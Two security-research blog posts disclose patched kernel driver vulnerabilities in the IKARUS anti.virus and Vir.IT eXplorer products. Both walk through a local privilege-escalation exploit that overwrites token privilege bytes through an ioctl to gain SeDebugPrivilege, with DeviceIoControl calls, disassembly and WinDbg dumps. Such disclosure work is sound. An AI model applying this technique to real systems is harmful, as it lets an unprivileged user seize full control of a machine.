Here is a list of the 9 kernel vulnerabilities I discovered over a month ago in an antivirus product called IKARUS anti.virus which has finally been fixed. Most of the vulnerabilities were due to the inputted output buffer address (Irp->UserBuffer) being saved on the stack which is later used without being validated when using as an argument. The table below lists the ioctls, related CVE and type of vulnerability

Fixed version numbers (vendors advisory soon to be released)

I’m exploiting the vulnerable subroutine used by ioctl 0x8300000c by overwriting the _SEP_TOKEN_PRIVILEGES structure where arg_20 is our inputted output buffer address.

In our process _SEP_TOKEN_PRIVILEGES structure I’m overwriting a byte in the “Present” field and a byte in the “Enabled” field with the hardcoded value of 0x11 by calling the vulnerable subroutine twice.

DeviceIoControl(hDevice, 0x8300000c, NULL, 0, (LPVOID)PresentByteOffset, 0, &dwRetBytes, NULL);
DeviceIoControl(hDevice, 0x8300000c, NULL, 0, (LPVOID)EnableByteOffset, 0, &dwRetBytes, NULL);

The exploit can be downloaded from here [zip] or from Exploit-DB when it gets published.

@ParvezGHH

Last month I started hunting for kernel bugs again and it wasn’t too long before I found a nice collection of bugs in an antivirus product called Vir.IT eXplorer. In total 6 kernel vulnerabilities were discovered. All of the vulnerabilities were due to the inputted buffer not being validated. The below table lists the ioctls, related CVE and type of vulnerability

All of the vulnerabilities were fixed and an updated product released within a day.

I decided to exploit the ioctl 0x8273007C by overwriting the _SEP_TOKEN_PRIVILEGES structure.

Here I am overwriting certain offsets of the _SEP_TOKEN_PRIVILEGES structure with byte 0x11, actually overwriting a byte in the “Present” field and a byte in the “Enabled” field. This will give us the “SeDebugPrivilege” privilege. Once the privilege has been obtained all that needs doing is to inject shellcode into a privileged process. The reason we need two writes as Kyriakos Economou @kyREcon pointed out in Windows 10 (1703) the “Enabled” privileges are checked against “Present” privileges. You can read Kyriakos’s paper here

For this exploit you can overwrite with whatever values/offsets you like to get the desired privileges, I just happened to use value 0x11 in this case knowing it will give me the “SeDebugPrivilege” privilege as I had previously written another exploit which I’m still waiting to publish once that software fix has been released.

The vulnerable code has two XCHG instructions used to overwrite the _SEP_TOKEN_PRIVILEGES structure “Present” and “Enabled” field bytes in one go.

loc_FFFFF88000DE3E79:                                                 
  mov     rbp, [rdi]        ; rdi points to input buffer 
  mov     rsi, cr8          ; rbp holds our SEP address - input[0]          
  mov     ecx, 2
  cmp     sil, cl
  jnb     short loc_FFFFF88000DE3E95
  mov     rax, cr8
  mov     cr8, rcx
  mov     sil, al
loc_FFFFF88000DE3E95:                                                 
  call    sub_FFFFF88000DEC128                          
  mov     rcx, [rdi+8]       ; rcx holds "Present" bytes - input[1]
  xchg    rcx, [rbp+0]       ; Overwriting "Present" bytes
  mov     rdx, [rdi+10h]     ; rdx holds "Enabled" bytes - input[2] 
  xchg    rdx, [rbp+8]       ; Overwriting "Enabled" bytes

Looking at our _SEP_TOKEN_PRIVILEGES structure in WinDbg

kd> !process 0 0 cve-2017-16237.exe
PROCESS fffffa8032939600
    SessionId: 1  Cid: 05bc    Peb: 7fffffd6000  ParentCid: 0644
    DirBase: 32c17000  ObjectTable: fffff8a001d4a580  HandleCount:  13.
    Image: cve-2017-16237.exe

kd> !process fffffa8032939600 1
PROCESS fffffa8032939600
    SessionId: 1  Cid: 05bc    Peb: 7fffffd6000  ParentCid: 0644
    DirBase: 32c17000  ObjectTable: fffff8a001d4a580  HandleCount:  13.
    Image: cve-2017-16237.exe
    VadRoot fffffa80323a91b0 Vads 27 Clone 0 Private 2014. Modified 0. Locked 0.
    DeviceMap fffff8a003a77760
    Token                             fffff8a0031a8060
    ElapsedTime                       00:00:00.686
    UserTime                          00:00:00.000
    KernelTime                        00:00:00.000
    QuotaPoolUsage[PagedPool]         0
    QuotaPoolUsage[NonPagedPool]      0
    Working Set Sizes (now,min,max)  (2362, 50, 345) (9448KB, 200KB, 1380KB)
    PeakWorkingSetSize                2362
    VirtualSize                       16 Mb
    PeakVirtualSize                   16 Mb
    PageFaultCount                    2359
    MemoryPriority                    BACKGROUND
    BasePriority                      8
    CommitCharge                      2089

kd> dt nt!_TOKEN fffff8a0031a8060
   +0x000 TokenSource      : _TOKEN_SOURCE
   +0x010 TokenId          : _LUID
   +0x018 AuthenticationId : _LUID
   +0x020 ParentTokenId    : _LUID
   +0x028 ExpirationTime   : _LARGE_INTEGER 0x7fffffff`ffffffff
   +0x030 TokenLock        : 0xfffffa80`31e23d40 _ERESOURCE
   +0x038 ModifiedId       : _LUID
   +0x040 Privileges       : _SEP_TOKEN_PRIVILEGES
   +0x058 AuditPolicy      : _SEP_AUDIT_POLICY
   +0x074 SessionId        : 1
   +0x078 UserAndGroupCount : 0xf
   +0x07c RestrictedSidCount : 0
   +0x080 VariableLength   : 0x2c0
   +0x084 DynamicCharged   : 0x400
   +0x088 DynamicAvailable : 0
   +0x08c DefaultOwnerIndex : 0
   +0x090 UserAndGroups    : 0xfffff8a0`031a8370 _SID_AND_ATTRIBUTES
   +0x098 RestrictedSids   : (null) 
   +0x0a0 PrimaryGroup     : 0xfffff8a0`03202830 Void
   +0x0a8 DynamicPart      : 0xfffff8a0`03202830  -> 0x501
   +0x0b0 DefaultDacl      : 0xfffff8a0`0320284c _ACL
   +0x0b8 TokenType        : 1 ( TokenPrimary )
   +0x0bc ImpersonationLevel : 0 ( SecurityAnonymous )
   +0x0c0 TokenFlags       : 0x2a00
   +0x0c4 TokenInUse       : 0x1 ''
   +0x0c8 IntegrityLevelIndex : 0xe
   +0x0cc MandatoryPolicy  : 3
   +0x0d0 LogonSession     : 0xfffff8a0`03b398a0 _SEP_LOGON_SESSION_REFERENCES
   +0x0d8 OriginatingLogonSession : _LUID
   +0x0e0 SidHash          : _SID_AND_ATTRIBUTES_HASH
   +0x1f0 RestrictedSidHash : _SID_AND_ATTRIBUTES_HASH
   +0x300 pSecurityAttributes : 0xfffff8a0`0328df10 _AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION
   +0x308 SessionObject    : 0xfffffa80`320f83e0 Void
   +0x310 VariablePart     : 0xfffff8a0`031a8460

Before overwriting the bytes it will look like

kd> dt nt!_SEP_TOKEN_PRIVILEGES fffff8a0031a8060+40
   +0x000 Present          : 0x6`02880000
   +0x008 Enabled          : 0x800000
   +0x010 EnabledByDefault : 0x800000

kd> db fffff8a0031a8060+40 l18
fffff8a0`031a80a0  00 00 88 02 06 00 00 00-00 00 80 00 00 00 00 00  ................
fffff8a0`031a80b0  00 00 80 00 00 00 00 00                          ........

and afterwards

kd> dt nt!_SEP_TOKEN_PRIVILEGES fffff8a0031a8060+40
   +0x000 Present          : 0x6`02110000
   +0x008 Enabled          : 0x110000
   +0x010 EnabledByDefault : 0x800000

kd> db fffff8a0031a8060+40 l18
fffff8a0`02b08a70  00 00 11 02 06 00 00 00-00 00 11 00 00 00 00 00  ................
fffff8a0`02b08a80  00 00 80 00 00 00 00 00                          ........

Checking the privileges

kd> !token fffff8a0031a8060
_TOKEN fffff8a0031a8060
TS Session ID: 0x1
User: S-1-5-21-2231847605-3015871416-1385684711-1000
Groups: 
 00 S-1-5-21-2231847605-3015871416-1385684711-513
    Attributes - Mandatory Default Enabled 
 01 S-1-1-0
    Attributes - Mandatory Default Enabled 
 02 S-1-5-114
    Attributes - DenyOnly 
 03 S-1-5-32-544
    Attributes - DenyOnly 
 04 S-1-5-32-545
    Attributes - Mandatory Default Enabled 
 05 S-1-5-4
    Attributes - Mandatory Default Enabled 
 06 S-1-2-1
    Attributes - Mandatory Default Enabled 
 07 S-1-5-11
    Attributes - Mandatory Default Enabled 
 08 S-1-5-15
    Attributes - Mandatory Default Enabled 
 09 S-1-5-113
    Attributes - Mandatory Default Enabled 
 10 S-1-5-5-0-118426
    Attributes - Mandatory Default Enabled LogonId 
 11 S-1-2-0
    Attributes - Mandatory Default Enabled 
 12 S-1-5-64-10
    Attributes - Mandatory Default Enabled 
 13 S-1-16-8192
    Attributes - GroupIntegrity GroupIntegrityEnabled 
Primary Group: S-1-5-21-2231847605-3015871416-1385684711-513
Privs: 
 16 0x000000010 SeCreatePermanentPrivilege        Attributes - Enabled 
 20 0x000000014 SeDebugPrivilege                  Attributes - Enabled 
 25 0x000000019 SeUndockPrivilege                 Attributes - 
 33 0x000000021 SeIncreaseWorkingSetPrivilege     Attributes - 
 34 0x000000022 SeTimeZonePrivilege               Attributes - 
Authentication ID:         (0,1d038)
Impersonation Level:       Anonymous
TokenType:                 Primary
Source: User32             TokenFlags: 0x2a00 ( Token in use )
Token ID: e8a62            ParentToken ID: 1d03b
Modified ID:               (0, e8571)
RestrictedSidCount: 0      RestrictedSids: 0000000000000000
OriginatingLogonSession: 3e7

The exploit is written only to work from a medium integrity process as I’m using the NtQuerySystemInformation(SystemHandleInformation) API to leak the address of the process token. It has been tested on 64bit Windows 7 and Windows 10 (1709).

The exploit can be downloaded from here [zip] or from Exploit-DB when it gets published.

@ParvezGHH